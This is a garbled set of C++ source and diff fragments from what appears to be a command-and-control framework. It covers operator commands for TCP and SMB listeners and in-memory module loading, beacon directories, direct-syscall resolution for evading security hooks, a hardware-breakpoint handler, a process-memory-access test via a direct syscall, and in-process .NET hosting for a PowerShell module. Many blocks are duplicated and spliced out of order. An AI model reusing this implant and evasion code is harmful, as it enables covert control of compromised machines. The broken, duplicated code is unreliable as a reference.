int port=-1;
try
{
port = std::atoi(splitedCmd[4].c_str());
}
catch (const std::invalid_argument& ia)
{
std::cerr << "Invalid argument: " << ia.what() << '\n';
return -1;
}
//
// Sleep
//
if(instruction==SleepInstruction)
{
if(splitedCmd.size()==2)
{
float sleepTimeSec=5;
try
{
sleepTimeSec = atof(splitedCmd[1].c_str());
}
catch (const std::invalid_argument& ia)
{
std::cerr << "Invalid argument: " << ia.what() << '\n';
return -1;
}
c2Message.set_instruction(SleepCmd);
c2Message.set_cmd(std::to_string(sleepTimeSec));
}
else
{
std::string errorMsg = getHelp(SleepCmd);
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
//
// End
//
else if(instruction==EndInstruction)
{
c2Message.set_instruction(EndCmd);
c2Message.set_cmd("");
}
//
// Listener
//
else if(instruction==ListenerInstruction)
{
if(splitedCmd.size()>=3)
{
if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerTcpType)
{
if(splitedCmd.size()>=5)
{
std::string host = splitedCmd[3];
int port=-1;
try
{
port = std::atoi(splitedCmd[4].c_str());
}
catch (const std::invalid_argument& ia)
{
std::cerr << "Invalid argument: " << ia.what() << '\n';
return -1;
}
std::string cmd = StartCmd;
cmd+=" ";
cmd+=ListenerTcpType;
cmd+=" ";
cmd+=host;
cmd+=" ";
cmd+=std::to_string(port);
c2Message.set_instruction(ListenerCmd);
c2Message.set_cmd(cmd);
}
else
{
std::string errorMsg = "listener tcp start: not enough arguments";
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
else if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerSmbType)
{
if(splitedCmd.size()==5)
{
std::string host = splitedCmd[3];
std::string pipeName = splitedCmd[4];
std::string cmd = StartCmd;
cmd+=" ";
cmd+=ListenerSmbType;
cmd+=" ";
cmd+=host;
cmd+=" ";
cmd+=pipeName;
c2Message.set_instruction(ListenerCmd);
c2Message.set_cmd(cmd);
}
else
{
std::string errorMsg = "listener smb start: not enough arguments";
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
else if(splitedCmd[1]==StopInstruction)
{
std::string hash = splitedCmd[2];
std::string cmd = StopCmd;
cmd+=" ";
cmd+=hash;
c2Message.set_instruction(ListenerCmd);
c2Message.set_cmd(cmd);
}
}
else
{
std::string errorMsg = getHelp(ListenerCmd);
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
//
// Load Memory Module
//
else if(instruction==LoadModuleInstruction)
{
if (splitedCmd.size() == 2)
{
std::string inputFile = splitedCmd[1];
std::string cmd = StartCmd;
cmd+=" ";
cmd+=ListenerTcpType;
cmd+=" ";
cmd+=host;
cmd+=" ";
cmd+=std::to_string(port);
c2Message.set_instruction(ListenerCmd);
c2Message.set_cmd(cmd);
}
else
{
std::string errorMsg = "listener tcp start: not enough arguments";
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
else if(splitedCmd[1]==StartInstruction && splitedCmd[2]==ListenerSmbType)
{
if(splitedCmd.size()==5)
{
std::string host = splitedCmd[3];
std::string pipeName = splitedCmd[4];
std::string cmd = StartCmd;
cmd+=" ";
cmd+=ListenerSmbType;
cmd+=" ";
cmd+=host;
cmd+=" ";
cmd+=pipeName;
c2Message.set_instruction(ListenerCmd);
c2Message.set_cmd(cmd);
}
else
{
std::string errorMsg = "listener smb start: not enough arguments";
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
else if(splitedCmd[1]==StopInstruction)
{
std::string hash = splitedCmd[2];
std::string cmd = StopCmd;
cmd+=" ";
cmd+=hash;
c2Message.set_instruction(ListenerCmd);
c2Message.set_cmd(cmd);
}
}
else
{
std::string errorMsg = getHelp(ListenerCmd);
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
//
// Load Memory Module
//
else if(instruction==LoadModuleInstruction)
{
if (splitedCmd.size() == 2)
{
std::string inputFile = splitedCmd[1];
// check if it's a Path
std::ifstream input;
input.open(inputFile, std::ios::binary);
// check if it's a Path
std::ifstream input;
input.open(inputFile, std::ios::binary);
// if not check if it's a filename present in the linux or windows directory
if(!input && !isWindows)
{
std::string newInputFile = m_linuxModulesDirectoryPath;
newInputFile+=inputFile;
input.open(newInputFile, std::ios::binary);
}
else if(!input && isWindows)
{
std::string newInputFile = m_windowsModulesDirectoryPath;
newInputFile+=inputFile;
input.open(newInputFile, std::ios::binary);
}
// if not check if it's a filename present in the linux or windows directory
if(!input && !isWindows)
{
std::string newInputFile = m_linuxModulesDirectoryPath;
newInputFile+=inputFile;
input.open(newInputFile, std::ios::binary);
}
else if(!input && isWindows)
{
std::string newInputFile = m_windowsModulesDirectoryPath;
newInputFile+=inputFile;
input.open(newInputFile, std::ios::binary);
}
if( input )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
if( input )
{
std::string buffer(std::istreambuf_iterator<char>(input), {});
c2Message.set_instruction(LoadC2ModuleCmd);
c2Message.set_inputfile(inputFile);
c2Message.set_data(buffer.data(), buffer.size());
}
else
{
c2Message.set_returnvalue("Failed: Couldn't open file.");
return -1;
}
}
else
{
std::string errorMsg = getHelp(LoadC2ModuleCmd);
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
else if(instruction==UnloadModuleInstruction)
{
if (splitedCmd.size() == 2)
{
std::string moduleName = splitedCmd[1];
c2Message.set_instruction(LoadC2ModuleCmd);
c2Message.set_inputfile(inputFile);
c2Message.set_data(buffer.data(), buffer.size());
}
else
{
c2Message.set_returnvalue("Failed: Couldn't open file.");
return -1;
}
}
else
{
std::string errorMsg = getHelp(LoadC2ModuleCmd);
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
else if(instruction==UnloadModuleInstruction)
{
if (splitedCmd.size() == 2)
{
std::string moduleName = splitedCmd[1];
c2Message.set_instruction(UnloadC2ModuleCmd);
c2Message.set_cmd(moduleName);
}
else
{
std::string errorMsg = getHelp(UnloadC2ModuleCmd);
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
return 0;
}
c2Message.set_instruction(UnloadC2ModuleCmd);
c2Message.set_cmd(moduleName);
}
else
{
std::string errorMsg = getHelp(UnloadC2ModuleCmd);
c2Message.set_returnvalue(errorMsg);
return -1;
}
}
return 0;
}
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
{
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_GENERIC)
errorMsg = "Error";
else if(errorCode==ERROR_LISTENER_EXIST)
errorMsg = "Error: Listener already exist";
else if(errorCode==ERROR_PORT_FORMAT)
errorMsg = "Error: Port format";
else if(errorCode==ERROR_HASH_NOT_FOUND)
errorMsg = "Error: Hash not found";
else if(errorCode==ERROR_LOAD_LIBRARY)
errorMsg = "Error: MemoryLoadLibrary";
else if(errorCode==ERROR_GET_PROC_ADDRESS)
errorMsg = "Error: MemoryGetProcAddress";
else if(errorCode==ERROR_MODULE_NOT_FOUND)
errorMsg = "Error: Module not found";
else if(errorCode==ERROR_MODULE_ALREADY_LOADED)
errorMsg = "Error: Module already loaded";
}
return 0;
}
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
{
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_GENERIC)
errorMsg = "Error";
else if(errorCode==ERROR_LISTENER_EXIST)
errorMsg = "Error: Listener already exist";
else if(errorCode==ERROR_PORT_FORMAT)
errorMsg = "Error: Port format";
else if(errorCode==ERROR_HASH_NOT_FOUND)
errorMsg = "Error: Hash not found";
else if(errorCode==ERROR_LOAD_LIBRARY)
errorMsg = "Error: MemoryLoadLibrary";
else if(errorCode==ERROR_GET_PROC_ADDRESS)
errorMsg = "Error: MemoryGetProcAddress";
else if(errorCode==ERROR_MODULE_NOT_FOUND)
errorMsg = "Error: Module not found";
else if(errorCode==ERROR_MODULE_ALREADY_LOADED)
errorMsg = "Error: Module already loaded";
}
return 0;
}
int setDirectories( const std::string& teamServerModulesDirectoryPath,
const std::string& linuxModulesDirectoryPath,
const std::string& windowsModulesDirectoryPath,
const std::string& linuxBeaconsDirectoryPath,
const std::string& windowsBeaconsDirectoryPath,
const std::string& toolsDirectoryPath,
const std::string& scriptsDirectoryPath)
{
m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath;
m_linuxModulesDirectoryPath=linuxModulesDirectoryPath;
m_windowsModulesDirectoryPath=windowsModulesDirectoryPath;
m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath;
m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath;
m_toolsDirectoryPath=toolsDirectoryPath;
m_scriptsDirectoryPath=scriptsDirectoryPath;
int setDirectories( const std::string& teamServerModulesDirectoryPath,
const std::string& linuxModulesDirectoryPath,
const std::string& windowsModulesDirectoryPath,
const std::string& linuxBeaconsDirectoryPath,
const std::string& windowsBeaconsDirectoryPath,
const std::string& toolsDirectoryPath,
const std::string& scriptsDirectoryPath)
{
m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath;
m_linuxModulesDirectoryPath=linuxModulesDirectoryPath;
m_windowsModulesDirectoryPath=windowsModulesDirectoryPath;
m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath;
m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath;
m_toolsDirectoryPath=toolsDirectoryPath;
m_scriptsDirectoryPath=scriptsDirectoryPath;
return 0;
};
return 0;
};
private:
std::vector<std::string> m_commonCommands;
std::vector<std::string> m_commonCommands;
std::string m_teamServerModulesDirectoryPath;
std::string m_teamServerModulesDirectoryPath;
std::string m_linuxModulesDirectoryPath;
std::string m_windowsModulesDirectoryPath;
std::string m_linuxBeaconsDirectoryPath;
+48 -48
View File
@@ -25,65 +25,65 @@ enum OSCompatibility {
//
class ModuleCmd
{
public:
ModuleCmd(const std::string& name, unsigned long long hash=0)
{
m_name=name;
m_hash=hash;
}
ModuleCmd(const std::string& name, unsigned long long hash=0)
{
m_name=name;
m_hash=hash;
}
~ModuleCmd()
{
~ModuleCmd()
{
}
}
std::string getName()
{
return m_name;
}
std::string getName()
{
return m_name;
}
unsigned long long getHash()
{
return m_hash;
}
unsigned long long getHash()
{
return m_hash;
}
int setDirectories( const std::string& teamServerModulesDirectoryPath,
const std::string& linuxModulesDirectoryPath,
const std::string& windowsModulesDirectoryPath,
const std::string& linuxBeaconsDirectoryPath,
const std::string& windowsBeaconsDirectoryPath,
const std::string& toolsDirectoryPath,
const std::string& scriptsDirectoryPath)
{
m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath;
m_linuxModulesDirectoryPath=linuxModulesDirectoryPath;
m_windowsModulesDirectoryPath=windowsModulesDirectoryPath;
m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath;
m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath;
m_toolsDirectoryPath=toolsDirectoryPath;
m_scriptsDirectoryPath=scriptsDirectoryPath;
int setDirectories( const std::string& teamServerModulesDirectoryPath,
const std::string& linuxModulesDirectoryPath,
const std::string& windowsModulesDirectoryPath,
const std::string& linuxBeaconsDirectoryPath,
const std::string& windowsBeaconsDirectoryPath,
const std::string& toolsDirectoryPath,
const std::string& scriptsDirectoryPath)
{
m_teamServerModulesDirectoryPath=teamServerModulesDirectoryPath;
m_linuxModulesDirectoryPath=linuxModulesDirectoryPath;
m_windowsModulesDirectoryPath=windowsModulesDirectoryPath;
m_linuxBeaconsDirectoryPath=linuxBeaconsDirectoryPath;
m_windowsBeaconsDirectoryPath=windowsBeaconsDirectoryPath;
m_toolsDirectoryPath=toolsDirectoryPath;
m_scriptsDirectoryPath=scriptsDirectoryPath;
return 0;
};
return 0;
};
virtual std::string getInfo() = 0;
virtual std::string getInfo() = 0;
// if an error ocurre:
// set_returnvalue(errorMsg) && return -1
virtual int init(std::vector<std::string>& splitedCmd, C2Message& c2Message) = 0;
virtual int initConfig(const nlohmann::json &config) {return 0;};
virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0;
virtual int followUp(const C2Message &c2RetMessage) {return 0;};
virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;};
virtual int recurringExec (C2Message& c2RetMessage) {return 0;};
virtual int osCompatibility () {return OS_NONE;};
// if an error ocurre:
// set_returnvalue(errorMsg) && return -1
virtual int init(std::vector<std::string>& splitedCmd, C2Message& c2Message) = 0;
virtual int initConfig(const nlohmann::json &config) {return 0;};
virtual int process(C2Message& c2Message, C2Message& c2RetMessage) = 0;
virtual int followUp(const C2Message &c2RetMessage) {return 0;};
virtual int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) {return 0;};
virtual int recurringExec (C2Message& c2RetMessage) {return 0;};
virtual int osCompatibility () {return OS_NONE;};
protected:
std::string m_name;
unsigned long long m_hash;
std::string m_name;
unsigned long long m_hash;
std::string m_teamServerModulesDirectoryPath;
std::string m_teamServerModulesDirectoryPath;
std::string m_linuxModulesDirectoryPath;
std::string m_windowsModulesDirectoryPath;
std::string m_linuxBeaconsDirectoryPath;
@@ -92,5 +92,5 @@ protected:
std::string m_scriptsDirectoryPath;
private:
};
File diff suppressed because it is too large Load Diff
+50 -50
View File
@@ -7,91 +7,91 @@
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
typedef struct _SW3_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
typedef struct _SW3_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW3_PEB_LDR_DATA Ldr;
} SW3_PEB, *PSW3_PEB;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
// typedef struct _UNICODE_STRING
// {
// USHORT Length;
// USHORT MaximumLength;
// PWSTR Buffer;
// USHORT Length;
// USHORT MaximumLength;
// PWSTR Buffer;
// } UNICODE_STRING, *PUNICODE_STRING;
// typedef struct _OBJECT_ATTRIBUTES
// {
// ULONG Length;
// HANDLE RootDirectory;
// PUNICODE_STRING ObjectName;
// ULONG Attributes;
// PVOID SecurityDescriptor;
// PVOID SecurityQualityOfService;
// ULONG Length;
// HANDLE RootDirectory;
// PUNICODE_STRING ObjectName;
// ULONG Attributes;
// PVOID SecurityDescriptor;
// PVOID SecurityQualityOfService;
// } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
// typedef struct _CLIENT_ID
// {
// HANDLE UniqueProcess;
// HANDLE UniqueThread;
// HANDLE UniqueProcess;
// HANDLE UniqueThread;
// } CLIENT_ID, *PCLIENT_ID;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
typedef enum _MEMORY_INFORMATION_CLASS
{
MemoryBasicInformation,
MemoryWorkingSetInformation,
MemoryMappedFilenameInformation,
MemoryRegionInformation,
MemoryWorkingSetExInformation,
MemorySharedCommitInformation,
MemoryImageInformation,
MemoryRegionInformationEx,
MemoryPrivilegedBasicInformation,
MemoryEnclaveImageInformation,
MemoryBasicInformationCapped
MemoryBasicInformation,
MemoryWorkingSetInformation,
MemoryMappedFilenameInformation,
MemoryRegionInformation,
MemoryWorkingSetExInformation,
MemorySharedCommitInformation,
MemoryImageInformation,
MemoryRegionInformationEx,
MemoryPrivilegedBasicInformation,
MemoryEnclaveImageInformation,
MemoryBasicInformationCapped
} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS;
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
+2 -2
View File
@@ -630,8 +630,8 @@ typedef struct _INVERTED_FUNCTION_TABLE_KERNEL_MODE
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;
+57 -57
View File
@@ -1,57 +1,57 @@
#include "syscall.hpp"
DWORD GlobalHash = 0x0;
EXTERN_C DWORD getGlobalHash()
{
return GlobalHash;
}
DWORD SW3_HashSyscall(const char *FunctionName)
{
DWORD Hash = 0x811C9DC5; // FNV offset basis
DWORD FNV_prime = 0x01000193; // FNV prime
int c;
while (c = *FunctionName++)
{
Hash ^= c; // XOR the byte into the lowest byte of the hash
Hash *= FNV_prime; // Multiply by FNV prime
}
return Hash & 0xFFFFFFFF; // Ensure the result is a 32-bit hash
}
bool compareEntry(Entry i1, Entry i2)
{
return (i1.getAddress() < i2.getAddress());
}
SyscallList* SyscallList::singleton_= nullptr;
SyscallList *SyscallList::GetInstance()
{
if(singleton_==nullptr){
singleton_ = new SyscallList();
}
return singleton_;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
SyscallList* singleton = SyscallList::GetInstance();
return singleton->getSyscallNumber(FunctionHash);
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
SyscallList* singleton = SyscallList::GetInstance();
return singleton->getSyscallAddress(FunctionHash);
}
#include "syscall.hpp"
DWORD GlobalHash = 0x0;
EXTERN_C DWORD getGlobalHash()
{
return GlobalHash;
}
DWORD SW3_HashSyscall(const char *FunctionName)
{
DWORD Hash = 0x811C9DC5; // FNV offset basis
DWORD FNV_prime = 0x01000193; // FNV prime
int c;
while (c = *FunctionName++)
{
Hash ^= c; // XOR the byte into the lowest byte of the hash
Hash *= FNV_prime; // Multiply by FNV prime
}
return Hash & 0xFFFFFFFF; // Ensure the result is a 32-bit hash
}
bool compareEntry(Entry i1, Entry i2)
{
return (i1.getAddress() < i2.getAddress());
}
SyscallList* SyscallList::singleton_= nullptr;
SyscallList *SyscallList::GetInstance()
{
if(singleton_==nullptr){
singleton_ = new SyscallList();
}
return singleton_;
}
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
{
SyscallList* singleton = SyscallList::GetInstance();
return singleton->getSyscallNumber(FunctionHash);
}
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
{
SyscallList* singleton = SyscallList::GetInstance();
return singleton->getSyscallAddress(FunctionHash);
}
File diff suppressed because it is too large Load Diff
+11 -11
View File
@@ -6,17 +6,17 @@
LONG WINAPI hanlderToTrigger(EXCEPTION_POINTERS * ExceptionInfo)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"Kernel32", TRUE, NULL), (PCHAR)"GetProcessVersion", 0);
if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress)
{
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP)
{
BYTE* baseAddress = (BYTE*)xGetProcAddress(xGetLibAddress((PCHAR)"Kernel32", TRUE, NULL), (PCHAR)"GetProcessVersion", 0);
if (ExceptionInfo->ContextRecord->Rip == (DWORD64) baseAddress)
{
std::cout << "Hello from GetProcessVersion " << std::endl;
ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer
}
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer
}
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
@@ -29,7 +29,7 @@ int main()
int indexHWBP = 0;
HANDLE bp;
set_hwbp(GetCurrentThread(), baseAddress, hanlderToTrigger, indexHWBP, &bp);
set_hwbp(GetCurrentThread(), baseAddress, hanlderToTrigger, indexHWBP, &bp);
std::cout << "bp " << bp << std::endl;
File diff suppressed because it is too large Load Diff
+2 -2
View File
@@ -39,7 +39,7 @@ int main()
return -1;
}
std::string destinationBuffer = "test";
std::string payload = "test";
@@ -98,7 +98,7 @@ int main()
static OBJECT_ATTRIBUTES zoa = { sizeof(zoa) };
CLIENT_ID pid;
pid.UniqueProcess = (HANDLE)dwPid;
pid.UniqueThread = 0;
pid.UniqueThread = 0;
status = Sw3NtOpenProcess_(&handle, PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, &zoa, (CLIENT_ID*)&pid);
if(status!=0)
{
+48 -48
View File
@@ -31,9 +31,9 @@ __attribute__((visibility("default"))) ModuleTemplate* ModuleTemplateConstructor
ModuleTemplate::ModuleTemplate()
#ifdef BUILD_TEAMSERVER
: ModuleCmd(std::string(moduleName), moduleHash)
: ModuleCmd(std::string(moduleName), moduleHash)
#else
: ModuleCmd("", moduleHash)
: ModuleCmd("", moduleHash)
#endif
{
}
@@ -46,15 +46,15 @@ ModuleTemplate::~ModuleTemplate()
std::string ModuleTemplate::getInfo()
{
std::string info;
std::string info;
#ifdef BUILD_TEAMSERVER
info += "moduleTemplate:\n";
info += "ModuleTemplate for easy developement of new modules\n";
info += "This is the help that will be display when you do 'ModuleTemplate help' or when their is an error during the init methode\n";
info += "exemple:\n";
info += "- moduleTemplate args\n";
info += "moduleTemplate:\n";
info += "ModuleTemplate for easy developement of new modules\n";
info += "This is the help that will be display when you do 'ModuleTemplate help' or when their is an error during the init methode\n";
info += "exemple:\n";
info += "- moduleTemplate args\n";
#endif
return info;
return info;
}
@@ -62,22 +62,22 @@ std::string ModuleTemplate::getInfo()
int ModuleTemplate::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
if (splitedCmd.size() >= 2 )
{
string args = "args from the splited command line";
args = splitedCmd[1];
if (splitedCmd.size() >= 2 )
{
string args = "args from the splited command line";
args = splitedCmd[1];
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_data(args);
}
else
{
// error message deiplay if something is wrong
c2Message.set_returnvalue(getInfo());
return -1;
}
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_data(args);
}
else
{
// error message deiplay if something is wrong
c2Message.set_returnvalue(getInfo());
return -1;
}
#endif
return 0;
return 0;
}
@@ -86,13 +86,13 @@ int ModuleTemplate::init(std::vector<std::string> &splitedCmd, C2Message &c2Mess
int ModuleTemplate::followUp(const C2Message &c2RetMessage)
{
#if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS)
// check if there is an error
if(c2RetMessage.errorCode()==-1)
{
std::string args = c2RetMessage.args();
}
// check if there is an error
if(c2RetMessage.errorCode()==-1)
{
std::string args = c2RetMessage.args();
}
#endif
return 0;
return 0;
}
@@ -102,20 +102,20 @@ int ModuleTemplate::followUp(const C2Message &c2RetMessage)
// Method that will be trigged beacon side, the main processing method
int ModuleTemplate::process(C2Message &c2Message, C2Message &c2RetMessage)
{
c2RetMessage.set_instruction(c2RetMessage.instruction());
c2RetMessage.set_instruction(c2RetMessage.instruction());
std::string data = c2Message.data();
if( data == "arg1" )
{
std::string buffer = "return value that will be shown in the client";
c2RetMessage.set_returnvalue(buffer);
}
else
{
c2RetMessage.set_errorCode(ERROR_CODE_1);
}
std::string data = c2Message.data();
if( data == "arg1" )
{
std::string buffer = "return value that will be shown in the client";
c2RetMessage.set_returnvalue(buffer);
}
else
{
c2RetMessage.set_errorCode(ERROR_CODE_1);
}
return 0;
return 0;
}
@@ -123,12 +123,12 @@ int ModuleTemplate::process(C2Message &c2Message, C2Message &c2RetMessage)
int ModuleTemplate::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg)
{
#ifdef BUILD_TEAMSERVER
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_CODE_1)
errorMsg = "Failed: An error occured and that is the error message that will be display to the user";
}
int errorCode = c2RetMessage.errorCode();
if(errorCode>0)
{
if(errorCode==ERROR_CODE_1)
errorMsg = "Failed: An error occured and that is the error message that will be display to the user";
}
#endif
return 0;
return 0;
}
+9 -9
View File
@@ -7,17 +7,17 @@ class ModuleTemplate : public ModuleCmd
{
public:
ModuleTemplate();
~ModuleTemplate();
ModuleTemplate();
~ModuleTemplate();
std::string getInfo();
std::string getInfo();
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int followUp(const C2Message &c2RetMessage);
int osCompatibility()
{
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
int process(C2Message& c2Message, C2Message& c2RetMessage);
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
int followUp(const C2Message &c2RetMessage);
int osCompatibility()
{
return OS_LINUX | OS_WINDOWS;
}
+319 -319
View File
@@ -29,135 +29,135 @@ __declspec(dllexport) Powershell* PowershellConstructor()
typedef HRESULT(WINAPI *funcCLRCreateInstance)(
REFCLSID clsid,
REFIID riid,
LPVOID * ppInterface
);
REFCLSID clsid,
REFIID riid,
LPVOID * ppInterface
);
typedef HRESULT (WINAPI *funcCorBindToRuntime)(
LPCWSTR pwszVersion,
LPCWSTR pwszBuildFlavor,
REFCLSID rclsid,
REFIID riid,
LPVOID* ppv);
LPCWSTR pwszVersion,
LPCWSTR pwszBuildFlavor,
REFCLSID rclsid,
REFIID riid,
LPVOID* ppv);
bool createDotNetFourHost(HMODULE* hMscoree, const wchar_t* version, ICorRuntimeHost** ppCorRuntimeHost)
{
HRESULT hr = NULL;
funcCLRCreateInstance pCLRCreateInstance = NULL;
ICLRMetaHost *pMetaHost = NULL;
ICLRRuntimeInfo *pRuntimeInfo = NULL;
bool hostCreated = false;
HRESULT hr = NULL;
funcCLRCreateInstance pCLRCreateInstance = NULL;
ICLRMetaHost *pMetaHost = NULL;
ICLRRuntimeInfo *pRuntimeInfo = NULL;
bool hostCreated = false;
pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(*hMscoree, "CLRCreateInstance");
if (pCLRCreateInstance == NULL)
{
// wprintf(L"Could not find .NET 4.0 API CLRCreateInstance");
goto Cleanup;
}
pCLRCreateInstance = (funcCLRCreateInstance)GetProcAddress(*hMscoree, "CLRCreateInstance");
if (pCLRCreateInstance == NULL)
{
// wprintf(L"Could not find .NET 4.0 API CLRCreateInstance");
goto Cleanup;
}
hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
if (FAILED(hr))
{
// Potentially fails on .NET 2.0/3.5 machines with E_NOTIMPL
// wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
hr = pCLRCreateInstance(CLSID_CLRMetaHost, IID_PPV_ARGS(&pMetaHost));
if (FAILED(hr))
{
// Potentially fails on .NET 2.0/3.5 machines with E_NOTIMPL
// wprintf(L"CLRCreateInstance failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
if (FAILED(hr))
{
// wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
hr = pMetaHost->GetRuntime(L"v4.0.30319", IID_PPV_ARGS(&pRuntimeInfo));
if (FAILED(hr))
{
// wprintf(L"ICLRMetaHost::GetRuntime failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
// Check if the specified runtime can be loaded into the process.
BOOL loadable;
hr = pRuntimeInfo->IsLoadable(&loadable);
if (FAILED(hr))
{
// wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
// Check if the specified runtime can be loaded into the process.
BOOL loadable;
hr = pRuntimeInfo->IsLoadable(&loadable);
if (FAILED(hr))
{
// wprintf(L"ICLRRuntimeInfo::IsLoadable failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
if (!loadable)
{
// wprintf(L".NET runtime v4.0.30319 cannot be loaded\n");
goto Cleanup;
}
if (!loadable)
{
// wprintf(L".NET runtime v4.0.30319 cannot be loaded\n");
goto Cleanup;
}
// Load the CLR into the current process and return a runtime interface
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_PPV_ARGS(ppCorRuntimeHost));
if (FAILED(hr))
{
// wprintf(L"ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
goto Cleanup;
}
// Load the CLR into the current process and return a runtime interface
